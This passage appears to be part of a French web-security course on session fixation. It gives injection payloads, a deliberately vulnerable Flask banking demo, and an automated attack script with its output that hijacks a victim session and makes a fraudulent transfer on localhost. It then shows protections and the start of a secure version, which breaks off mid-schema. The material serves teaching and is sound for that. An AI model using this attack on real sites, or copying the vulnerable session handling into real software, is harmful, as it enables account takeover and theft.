#### 2. **Via Cookie Injection (XSS)**

**Si le site est vulnérable à XSS :**

```javascript
// Attaquant injecte ce script
document.cookie = "session_id=attacker_known_id; path=/";

// Ou via image
<img src="x" onerror="document.cookie='session_id=abc123'">
```

---

#### 3. **Via Meta Tag**

```html
<!-- Attaquant injecte cette balise -->
<meta http-equiv="Set-Cookie" content="session_id=abc123">
```

---

#### 4. **Via Subdomain**

```
1. Attaquant contrôle evil.example.com

2. Attaquant set cookie pour .example.com :
   Set-Cookie: session_id=abc123; Domain=.example.com

3. Cookie envoyé aussi à www.example.com
```

---

### Différence avec Session Hijacking

| Type | Session Fixation | Session Hijacking |
|------|------------------|-------------------|
| **Moment** | AVANT authentification | APRÈS authentification |
| **ID** | Attaquant **fixe** l'ID | Attaquant **vole** l'ID |
| **Méthode** | Force victime à utiliser ID connu | Sniff réseau, XSS, MITM |
| **Protection** | Régénérer session après login | HTTPS, HttpOnly cookies |

---

### Cas réels

**1. PHP Ancien (pre-5.5.2)**

PHP acceptait les session IDs dans l'URL par défaut :

```
http://site.com/index.php?PHPSESSID=attacker_id
```

**Impact :** Millions de sites vulnérables

---

**2. Apache Tomcat (CVE-2009-0781)**

Acceptait session IDs dans URL sans validation.

---

**3. Sites e-commerce**

De nombreux sites e-commerce (2000s) acceptaient session IDs dans URL pour "faciliter" le tracking -> Vulnérables à Session Fixation.

---

### Impact de Session Fixation

| Impact | Gravité | Description |
|--------|---------|-------------|
| **Account Takeover** | CRITIQUE | Accès complet au compte |
| **Vol de données** | CRITIQUE | Données personnelles, financières |
| **Transactions non autorisées** | CRITIQUE | Achats, virements |
| **Usurpation d'identité** | ÉLEVÉ | Actions au nom de la victime |

---

## [VERROUILLE] PROTECTION CONTRE SESSION FIXATION

### [OK] **1. Régénérer Session ID après Login**

**Principe :** Le plus important - invalider l'ancien ID et en créer un nouveau.

```python
from flask import Flask, session
import secrets

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    
    if authenticate(username, password):
        # [OK] CRITIQUE : Régénérer session AVANT de stocker les données
        session.clear()
        session.regenerate()  # Si disponible
        
        # OU manuellement :
        old_session = dict(session)
        session.clear()
        session['_id'] = secrets.token_urlsafe(32)
        
        # [OK] Maintenant set les données utilisateur
        session['user_id'] = user_id
        session['username'] = username
        
        return redirect('/dashboard')
```

---

### [OK] **2. Ne JAMAIS accepter Session ID depuis URL**

```python
@app.route('/login')
def login_page():
    # [OK] Ignorer session ID dans URL
    if 'session' in request.args:
        return "Invalid request", 400
    
    # [OK] Générer nouveau session ID
    session['_id'] = secrets.token_urlsafe(32)
    
    return render_template('login.html')
```

---

### [OK] **3. Valider Session Attributes**

```python
def validate_session():
    """
    [OK] Valider que la session n'a pas été fixée
    """
    # Vérifier IP (optionnel, problématique avec proxies)
    if 'ip' not in session:
        session['ip'] = request.remote_addr
    elif session['ip'] != request.remote_addr:
        # IP changée -> suspicious
        session.clear()
        return False
    
    # Vérifier User-Agent
    if 'user_agent' not in session:
        session['user_agent'] = request.headers.get('User-Agent')
    elif session['user_agent'] != request.headers.get('User-Agent'):
        # User-Agent changé -> suspicious
        session.clear()
        return False
    
    return True
```

---

### [OK] **4. HttpOnly et Secure Cookies**

```python
app.config['SESSION_COOKIE_HTTPONLY'] = True  # [OK] Pas d'accès JavaScript
app.config['SESSION_COOKIE_SECURE'] = True     # [OK] HTTPS uniquement
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # [OK] Protection CSRF
```

---

### [OK] **5. Timeout et Expiration**

```python
from datetime import timedelta

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30)

@app.before_request
def check_session_timeout():
    """
    [OK] Vérifier timeout de session
    """
    if 'last_activity' in session:
        last_activity = datetime.fromisoformat(session['last_activity'])
        
        if datetime.utcnow() - last_activity > timedelta(minutes=30):
            # [OK] Session expirée
            session.clear()
            return redirect('/login')
    
    # [OK] Mettre à jour last activity
    session['last_activity'] = datetime.utcnow().isoformat()
```

---

### [OK] **6. Session ID aléatoire et long**

```python
import secrets

# [OK] Génération sécurisée
session_id = secrets.token_urlsafe(32)  # 256 bits
# Exemple: "8J2kL9mN5oP6qR7sT8uV9wX0yZ1aB2cD3eF4gH5iJ6k"

# [X] MAUVAIS
session_id = str(user_id) + str(timestamp)  # Prévisible
session_id = hashlib.md5(str(user_id).encode()).hexdigest()  # Court, prévisible
```

---

## [CODE] EXERCICE 18 : SESSION FIXATION

### Objectif

Créer une application de banking avec :
- Login classique
- Démonstration de Session Fixation
- Exploitation complète
- Protection avec régénération de session

---

### PARTIE A : BACKEND VULNÉRABLE

```python
# session_fixation_vulnerable.py
from flask import Flask, request, jsonify, session, render_template_string, make_response
from flask_cors import CORS
import hashlib
import sqlite3
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'weak_secret_key'
CORS(app, supports_credentials=True)

# Base de données
DB_FILE = 'bank_sessions.db'

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            balance REAL DEFAULT 10000.00
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS transactions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            type TEXT,
            amount REAL,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Créer utilisateurs de test
    users = [
        ('alice', 'alice123', 10000.00),
        ('bob', 'bob123', 5000.00),
        ('victim', 'victim123', 50000.00)
    ]
    
    for username, password, balance in users:
        try:
            hashed = hashlib.sha256(password.encode()).hexdigest()
            cursor.execute('''
                INSERT INTO users (username, password, balance)
                VALUES (?, ?, ?)
            ''', (username, hashed, balance))
        except sqlite3.IntegrityError:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Session Fixation Demo - Banking</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            border: 1px solid rgba(255,255,255,0.2);
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 200px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .session-display {
            background: rgba(0,0,0,0.5);
            padding: 15px;
            border-radius: 5px;
            margin: 10px 0;
            word-break: break-all;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attack-item h4 { color: #ff4444; margin-bottom: 10px; }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
            word-break: break-all;
        }
        .balance {
            font-size: 2em;
            color: #4ade80;
            font-weight: bold;
            margin: 15px 0;
        }
        .credentials {
            background: rgba(0,0,0,0.5);
            padding: 15px;
            border-radius: 5px;
            margin-top: 15px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[BANQUE] SecureBank Demo</h1>
            <p>Session Fixation Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - SESSION FIXATION POSSIBLE
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username" value="victim">
                <input type="password" id="login-password" placeholder="Password" value="victim123">
                <button onclick="login()">Login</button>
                
                <div class="credentials">
                    <strong>Test Accounts:</strong><br>
                    alice / alice123 ($10,000)<br>
                    bob / bob123 ($5,000)<br>
                    victim / victim123 ($50,000)
                </div>
            </div>
            
            <!-- DASHBOARD -->
            <div class="card">
                <h3>[ARGENT] Account Dashboard</h3>
                <div id="dashboard">
                    <p>Please login first</p>
                </div>
                <button onclick="loadDashboard()">Refresh Dashboard</button>
                <button onclick="logout()">Logout</button>
            </div>
            
            <!-- TRANSFER -->
            <div class="card">
                <h3>[ARGENT] Transfer Money</h3>
                <input type="text" id="transfer-to" placeholder="To Username">
                <input type="number" id="transfer-amount" placeholder="Amount" value="1000">
                <button onclick="transfer()">Transfer</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[COOKIE] Current Session Info</h3>
            <div class="session-display" id="session-info">Loading...</div>
            <button onclick="showSessionInfo()">Refresh Session Info</button>
        </div>
        
        <div class="card">
            <h3>[FICHIER] Output / Logs</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Session Fixation Attack</h2>
            
            <div class="attack-item">
                <h4>Scénario d'attaque complet</h4>
                <ol style="margin-left: 20px; line-height: 1.8;">
                    <li><strong>Attaquant :</strong> Obtient un session ID valide</li>
                    <li><strong>Attaquant :</strong> Force la victime à utiliser ce session ID</li>
                    <li><strong>Victime :</strong> Se connecte avec le session ID fixé</li>
                    <li><strong>Attaquant :</strong> Utilise le même session ID pour accéder au compte</li>
                </ol>
            </div>
            
            <div class="attack-item">
                <h4>[OBJECTIF] ÉTAPE 1 : Attaquant obtient un session ID</h4>
                <button onclick="attackerGetSessionId()">1. Get Session ID (Attacker)</button>
                <div id="attacker-session-id" style="margin-top: 10px;"></div>
            </div>
            
            <div class="attack-item">
                <h4>[OBJECTIF] ÉTAPE 2 : Attaquant fixe la session de la victime</h4>
                <p>URL malveillante générée (envoyée par phishing) :</p>
                <code id="malicious-url" style="display: block; margin: 10px 0;">Waiting...</code>
                <button onclick="victimClicksMaliciousLink()">2. Victim Clicks Malicious Link</button>
            </div>
            
            <div class="attack-item">
                <h4>[OBJECTIF] ÉTAPE 3 : Victime se connecte</h4>
                <button onclick="victimLogsIn()">3. Victim Logs In (victim/victim123)</button>
            </div>
            
            <div class="attack-item">
                <h4>[OBJECTIF] ÉTAPE 4 : Attaquant hijack la session</h4>
                <button onclick="attackerHijacksSession()">4. Attacker Hijacks Session</button>
            </div>
            
            <div class="attack-item">
                <h4>[GRAPHIQUE] Attack Status</h4>
                <div id="attack-status" style="margin-top: 10px;">
                    Ready to start attack...
                </div>
            </div>
        </div>
    </div>
    
    <script>
        let attackerSessionId = '';
        
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            output.textContent = 'Attempting login...';
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    loadDashboard();
                    showSessionInfo();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function loadDashboard() {
            const dashboard = document.getElementById('dashboard');
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/dashboard', {
                    credentials: 'include'
                });
                
                const data = await response.json();
                
                if (data.authenticated) {
                    dashboard.innerHTML = `
                        <p><strong>Welcome, ${data.username}!</strong></p>
                        <div class="balance">$${data.balance.toLocaleString()}</div>
                        <p>Account ID: ${data.user_id}</p>
                    `;
                } else {
                    dashboard.innerHTML = '<p>Please login first</p>';
                }
                
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function transfer() {
            const to = document.getElementById('transfer-to').value;
            const amount = parseFloat(document.getElementById('transfer-amount').value);
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/transfer', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ to_username: to, amount })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    loadDashboard();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function showSessionInfo() {
            const sessionInfo = document.getElementById('session-info');
            
            try {
                const response = await fetch('/api/session-info', {
                    credentials: 'include'
                });
                
                const data = await response.json();
                
                sessionInfo.innerHTML = `
                    <strong>Session ID:</strong> ${data.session_id || 'N/A'}<br>
                    <strong>Authenticated:</strong> ${data.authenticated}<br>
                    ${data.username ? `<strong>Username:</strong> ${data.username}<br>` : ''}
                    ${data.user_id ? `<strong>User ID:</strong> ${data.user_id}` : ''}
                `;
            } catch (error) {
                sessionInfo.textContent = 'Error loading session info';
            }
        }
        
        async function logout() {
            try {
                const response = await fetch('/api/logout', {
                    method: 'POST',
                    credentials: 'include'
                });
                
                const data = await response.json();
                document.getElementById('output').textContent = JSON.stringify(data, null, 2);
                
                loadDashboard();
                showSessionInfo();
            } catch (error) {
                document.getElementById('output').textContent = 'Error: ' + error.message;
            }
        }
        
        // ===== ATTACK FUNCTIONS =====
        
        async function attackerGetSessionId() {
            const output = document.getElementById('output');
            const attackStatus = document.getElementById('attack-status');
            const attackerDiv = document.getElementById('attacker-session-id');
            
            try {
                // Attaquant visite le site pour obtenir un session ID
                const response = await fetch('/api/init-session', {
                    credentials: 'include'
                });
                
                const data = await response.json();
                attackerSessionId = data.session_id;
                
                attackerDiv.innerHTML = `
                    <code style="display: block; background: rgba(255,0,0,0.2); padding: 10px; border-radius: 5px;">
                        <strong>Attacker's Session ID:</strong><br>
                        ${attackerSessionId}
                    </code>
                `;
                
                // Générer URL malveillante
                const maliciousUrl = `${window.location.origin}/login?session=${attackerSessionId}`;
                document.getElementById('malicious-url').textContent = maliciousUrl;
                
                attackStatus.innerHTML = `
                    [OK] <strong>STEP 1 COMPLETE</strong><br>
                    Attacker has session ID: <code>${attackerSessionId}</code><br>
                    Malicious URL generated: <code>${maliciousUrl}</code><br>
                    <em>Next: Send this URL to victim via phishing email</em>
                `;
                
                output.textContent = `ATTACKER: Obtained session ID\\n${attackerSessionId}\\n\\nMalicious URL:\\n${maliciousUrl}`;
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function victimClicksMaliciousLink() {
            if (!attackerSessionId) {
                alert('Please complete Step 1 first!');
                return;
            }
            
            const output = document.getElementById('output');
            const attackStatus = document.getElementById('attack-status');
            
            try {
                // Simuler que la victime clique sur le lien malveillant
                const response = await fetch(`/api/set-session?session=${attackerSessionId}`, {
                    credentials: 'include'
                });
                
                const data = await response.json();
                
                attackStatus.innerHTML = `
                    [OK] <strong>STEP 2 COMPLETE</strong><br>
                    Victim's session has been FIXED to: <code>${attackerSessionId}</code><br>
                    <em>Next: Victim will now login with this session ID</em>
                `;
                
                output.textContent = `VICTIM: Clicked malicious link\\nSession fixed to: ${attackerSessionId}`;
                
                showSessionInfo();
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function victimLogsIn() {
            if (!attackerSessionId) {
                alert('Please complete previous steps first!');
                return;
            }
            
            const output = document.getElementById('output');
            const attackStatus = document.getElementById('attack-status');
            
            try {
                // Victime se connecte (avec session fixée)
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ 
                        username: 'victim', 
                        password: 'victim123' 
                    })
                });
                
                const data = await response.json();
                
                if (data.success) {
                    attackStatus.innerHTML = `
                        [OK] <strong>STEP 3 COMPLETE</strong><br>
                        Victim successfully logged in!<br>
                        Session ID is STILL: <code>${attackerSessionId}</code><br>
                        <span style="color: #ff4444; font-weight: bold;">[ATTENTION] Attacker can now hijack this session!</span>
                    `;
                    
                    output.textContent = `VICTIM: Logged in successfully\\nSession ID (unchanged): ${attackerSessionId}\\n\\n` + JSON.stringify(data, null, 2);
                    
                    loadDashboard();
                    showSessionInfo();
                } else {
                    output.textContent = 'Login failed: ' + JSON.stringify(data);
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function attackerHijacksSession() {
            if (!attackerSessionId) {
                alert('Please complete previous steps first!');
                return;
            }
            
            const output = document.getElementById('output');
            const attackStatus = document.getElementById('attack-status');
            
            try {
                // Attaquant utilise le même session ID
                const response = await fetch(`/api/hijack-session?session=${attackerSessionId}`, {
                    credentials: 'include'
                });
                
                const data = await response.json();
                
                if (data.success) {
                    attackStatus.innerHTML = `
                        <span style="color: #ff4444; font-size: 1.2em; font-weight: bold;">
                        [ALERTE] ATTACK SUCCESSFUL! [ALERTE]
                        </span><br><br>
                        Attacker has hijacked victim's session!<br>
                        <strong>Attacker can now:</strong><br>
                        • View victim's balance ($${data.balance.toLocaleString()})<br>
                        • Make transfers<br>
                        • Access all account features<br>
                        • All as the victim!
                    `;
                    
                    output.textContent = `[ALERTE] ATTACKER: SESSION HIJACKED!\\n\\nVictim's account:\\n${JSON.stringify(data, null, 2)}`;
                    
                    loadDashboard();
                    showSessionInfo();
                } else {
                    output.textContent = 'Hijack failed: ' + JSON.stringify(data);
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        // Initial load
        showSessionInfo();
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE : Init Session
@app.route('/api/init-session')
def init_session():
    """
    [X] Retourne le session ID (pour démo attaque)
    """
    if '_id' not in session:
        import secrets
        session['_id'] = secrets.token_urlsafe(16)
    
    return jsonify({
        "session_id": session.get('_id'),
        "message": "Session initialized"
    })

# [X] ROUTE VULNÉRABLE : Set Session (accepte depuis URL)
@app.route('/api/set-session')
def set_session():
    """
    [X] VULNÉRABLE : Accepte session ID depuis URL
    """
    session_id = request.args.get('session')
    
    if session_id:
        # [X] ERREUR CRITIQUE : Utilise le session ID fourni par l'utilisateur
        session['_id'] = session_id
        
        return jsonify({
            "success": True,
            "message": "Session fixed",
            "session_id": session_id
        })
    
    return jsonify({"error": "No session ID provided"}), 400

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login_vulnerable():
    """
    [X] VULNÉRABLE : Ne régénère PAS le session ID après login
    """
    data = request.json
    username = data.get('username', '')
    password = data.get('password', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    hashed = hashlib.sha256(password.encode()).hexdigest()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, hashed))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [X] ERREUR CRITIQUE : Ne régénère PAS le session ID !
    # Si session ID était fixé par attaquant, il reste le même
    
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['authenticated'] = True
    
    return jsonify({
        "success": True,
        "username": user['username'],
        "message": "Login successful"
    })

# Route : Dashboard
@app.route('/api/dashboard')
def dashboard():
    """Dashboard utilisateur"""
    if not session.get('authenticated'):
        return jsonify({"authenticated": False})
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({"authenticated": False})
    
    return jsonify({
        "authenticated": True,
        "user_id": user['id'],
        "username": user['username'],
        "balance": user['balance']
    })

# Route : Transfer
@app.route('/api/transfer', methods=['POST'])
def transfer():
    """Transfert d'argent"""
    if not session.get('authenticated'):
        return jsonify({"error": "Not authenticated"}), 401
    
    data = request.json
    to_username = data.get('to_username')
    amount = data.get('amount', 0)
    
    if amount <= 0:
        return jsonify({"error": "Invalid amount"}), 400
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # Get sender
    cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
    sender = cursor.fetchone()
    
    if sender['balance'] < amount:
        conn.close()
        return jsonify({"error": "Insufficient funds"}), 400
    
    # Get receiver
    cursor.execute('SELECT * FROM users WHERE username = ?', (to_username,))
    receiver = cursor.fetchone()
    
    if not receiver:
        conn.close()
        return jsonify({"error": "User not found"}), 404
    
    # Transfer
    cursor.execute('UPDATE users SET balance = balance - ? WHERE id = ?', 
                   (amount, sender['id']))
    cursor.execute('UPDATE users SET balance = balance + ? WHERE id = ?', 
                   (amount, receiver['id']))
    
    # Log transaction
    cursor.execute('''
        INSERT INTO transactions (user_id, type, amount)
        VALUES (?, ?, ?)
    ''', (sender['id'], f'Transfer to {to_username}', -amount))
    
    cursor.execute('''
        INSERT INTO transactions (user_id, type, amount)
        VALUES (?, ?, ?)
    ''', (receiver['id'], f'Transfer from {sender["username"]}', amount))
    
    conn.commit()
    
    # Get new balance
    cursor.execute('SELECT balance FROM users WHERE id = ?', (sender['id'],))
    new_balance = cursor.fetchone()['balance']
    
    conn.close()
    
    return jsonify({
        "success": True,
        "message": f"Transferred ${amount} to {to_username}",
        "new_balance": new_balance
    })

# Route : Session Info
@app.route('/api/session-info')
def session_info():
    """Informations sur la session"""
    return jsonify({
        "session_id": session.get('_id', 'N/A'),
        "authenticated": session.get('authenticated', False),
        "username": session.get('username'),
        "user_id": session.get('user_id')
    })

# [X] ROUTE VULNÉRABLE : Hijack Session
@app.route('/api/hijack-session')
def hijack_session():
    """
    [X] Simuler que l'attaquant utilise le session ID fixé
    """
    session_id = request.args.get('session')
    
    if session_id:
        # [X] Utiliser le session ID fourni
        session['_id'] = session_id
    
    # Vérifier si session authentifiée
    if session.get('authenticated'):
        conn = sqlite3.connect(DB_FILE)
        conn.row_factory = sqlite3.Row
        cursor = conn.cursor()
        
        cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
        user = cursor.fetchone()
        conn.close()
        
        if user:
            return jsonify({
                "success": True,
                "message": "Session hijacked successfully!",
                "username": user['username'],
                "balance": user['balance'],
                "user_id": user['id']
            })
    
    return jsonify({"error": "Session not authenticated"}), 401

# Route : Logout
@app.route('/api/logout', methods=['POST'])
def logout():
    """Logout"""
    session.clear()
    return jsonify({"message": "Logged out"})

if __name__ == '__main__':
    print("[RAPIDE] Session Fixation (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  Vulnérabilité : Session ID pas régénéré après login !")
    print("\n[DANGER] Attack scenario:")
    print("   1. Attaquant obtient un session ID")
    print("   2. Attaquant fixe ce session ID chez la victime (URL)")
    print("   3. Victime se connecte avec ce session ID")
    print("   4. Attaquant utilise le même session ID -> Hijack !")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER L'ATTAQUE

**1. Lancer l'application :**

```bash
python session_fixation_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Suivre le scénario d'attaque complet :**

**ÉTAPE 1 : Attaquant obtient un session ID**
- Cliquer "1. Get Session ID (Attacker)"
- Un session ID est généré : `kL9mN5oP6qR7sT8u`
- URL malveillante créée : `http://localhost:5000/login?session=kL9mN5oP6qR7sT8u`

**ÉTAPE 2 : Victime clique sur le lien piégé**
- Cliquer "2. Victim Clicks Malicious Link"
- Le session ID de la victime est fixé à `kL9mN5oP6qR7sT8u`

**ÉTAPE 3 : Victime se connecte**
- Cliquer "3. Victim Logs In"
- La victime s'authentifie MAIS le session ID reste `kL9mN5oP6qR7sT8u`

**ÉTAPE 4 : Attaquant hijack**
- Cliquer "4. Attacker Hijacks Session"
- L'attaquant utilise le même session ID
- **[OK] SUCCÈS : L'attaquant accède au compte de la victime ($50,000) !**

---

**4. Script d'attaque automatisé :**

```python
# attack_session_fixation.py
import requests

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("SESSION FIXATION ATTACK - AUTOMATED")
print("=" * 80)

# Créer une session pour l'attaquant
attacker_session = requests.Session()

# STEP 1: Attaquant obtient un session ID
print("\n[OBJECTIF] STEP 1: Attacker gets a session ID")
print("-" * 80)

response = attacker_session.get(f"{BASE_URL}/api/init-session")
data = response.json()
attacker_sid = data['session_id']

print(f"[OK] Attacker's session ID: {attacker_sid}")

# STEP 2: Attaquant fixe la session de la victime
print("\n[OBJECTIF] STEP 2: Attacker fixes victim's session")
print("-" * 80)

malicious_url = f"{BASE_URL}/api/set-session?session={attacker_sid}"
print(f"Malicious URL: {malicious_url}")

# Créer une session pour la victime
victim_session = requests.Session()

# Victime clique sur le lien malveillant
response = victim_session.get(malicious_url)
print(f"[OK] Victim's session fixed to: {attacker_sid}")

# STEP 3: Victime se connecte
print("\n[OBJECTIF] STEP 3: Victim logs in")
print("-" * 80)

response = victim_session.post(f"{BASE_URL}/api/login", 
                               json={
                                   "username": "victim",
                                   "password": "victim123"
                               })
data = response.json()

if data.get('success'):
    print("[OK] Victim successfully logged in")
    print(f"   Session ID (unchanged): {attacker_sid}")
else:
    print("[X] Login failed")
    exit()

# STEP 4: Attaquant hijack la session
print("\n[OBJECTIF] STEP 4: Attacker hijacks the session")
print("-" * 80)

response = attacker_session.get(f"{BASE_URL}/api/hijack-session?session={attacker_sid}")
data = response.json()

if data.get('success'):
    print("[ALERTE] ATTACK SUCCESSFUL! [ALERTE]")
    print(f"\n   Attacker accessed victim's account:")
    print(f"   Username: {data['username']}")
    print(f"   Balance: ${data['balance']:,.2f}")
    print(f"\n   Attacker can now:")
    print(f"   • View victim's transactions")
    print(f"   • Transfer money")
    print(f"   • Access all account features")
else:
    print("[X] Hijack failed")
    exit()

# STEP 5: Attaquant fait un transfert malveillant
print("\n[OBJECTIF] STEP 5: Attacker makes fraudulent transfer")
print("-" * 80)

response = attacker_session.post(f"{BASE_URL}/api/transfer",
                                json={
                                    "to_username": "alice",
                                    "amount": 10000
                                })
data = response.json()

if data.get('success'):
    print(f"[OK] Transferred $10,000 from victim to attacker")
    print(f"   Victim's new balance: ${data['new_balance']:,.2f}")
else:
    print(f"Transfer result: {data}")

print("\n" + "=" * 80)
print("ATTACK COMPLETED")
print("=" * 80)
```

**Exécuter :**

```bash
python attack_session_fixation.py
```

**Résultat :**

```
================================================================================
SESSION FIXATION ATTACK - AUTOMATED
================================================================================

[OBJECTIF] STEP 1: Attacker gets a session ID
--------------------------------------------------------------------------------
[OK] Attacker's session ID: kL9mN5oP6qR7sT8u

[OBJECTIF] STEP 2: Attacker fixes victim's session
--------------------------------------------------------------------------------
Malicious URL: http://localhost:5000/api/set-session?session=kL9mN5oP6qR7sT8u
[OK] Victim's session fixed to: kL9mN5oP6qR7sT8u

[OBJECTIF] STEP 3: Victim logs in
--------------------------------------------------------------------------------
[OK] Victim successfully logged in
   Session ID (unchanged): kL9mN5oP6qR7sT8u

[OBJECTIF] STEP 4: Attacker hijacks the session
--------------------------------------------------------------------------------
[ALERTE] ATTACK SUCCESSFUL! [ALERTE]

   Attacker accessed victim's account:
   Username: victim
   Balance: $50,000.00

   Attacker can now:
   • View victim's transactions
   • Transfer money
   • Access all account features

[OBJECTIF] STEP 5: Attacker makes fraudulent transfer
--------------------------------------------------------------------------------
[OK] Transferred $10,000 from victim to attacker
   Victim's new balance: $40,000.00

================================================================================
ATTACK COMPLETED
================================================================================
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# session_fixation_secure.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import hashlib
import sqlite3
import secrets
from datetime import datetime, timedelta

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)  # [OK] Secret fort

# [OK] Configuration sécurisée des cookies
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)

CORS(app, supports_credentials=True)

DB_FILE = 'bank_sessions_secure.db'

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            salt TEXT NOT NULL,
            balance REAL DEFAULT 10000.00
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS sessions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            session_id TEXT UNIQUE NOT NULL,
            user_id INTEGER,
            ip_address TEXT,
            user_agent TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            last_activity TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            is_active BOOLEAN DEFAULT 1
        )
    ''')
    
